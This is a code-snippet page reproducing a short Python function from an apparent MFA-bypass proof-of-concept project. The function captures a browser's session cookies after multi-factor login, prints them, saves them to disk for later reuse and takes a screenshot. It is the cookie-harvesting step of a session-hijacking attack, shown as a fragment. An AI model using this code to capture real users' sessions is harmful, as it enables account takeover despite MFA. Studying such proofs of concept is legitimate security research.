mfa_slipstream.py 文件源码

python
阅读 21 收藏 0 点赞 0 评论 0

项目:mfa_slipstream_poc 作者: decidedlygray 项目源码 文件源码
def quicksave():
    """Calling this will save cookies and whatnot to disk for later user"""
    print('FLASHSAVE: Cookies and screenshot')
    mfa_cookies = global_driver.get_cookies()
    print('  flashsaving cookies: '+str(mfa_cookies))
    save_obj(mfa_cookies,'cookies_'+get_timestamp()+'.txt') # load using add_cookies
    global_driver.get_screenshot_as_file('saves/screenie'+get_timestamp()+'.png')
    return '0x00000000'

##########################################################################
# BOTTLE CONFIGURATION/SETUP STUFF
##########################################################################
# Enable CORS - Future TODO: Communicate back to JavaScript auth method
#       and have the login portal properly set up auth method
# From: https://gist.github.com/richard-flosi/3789163
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号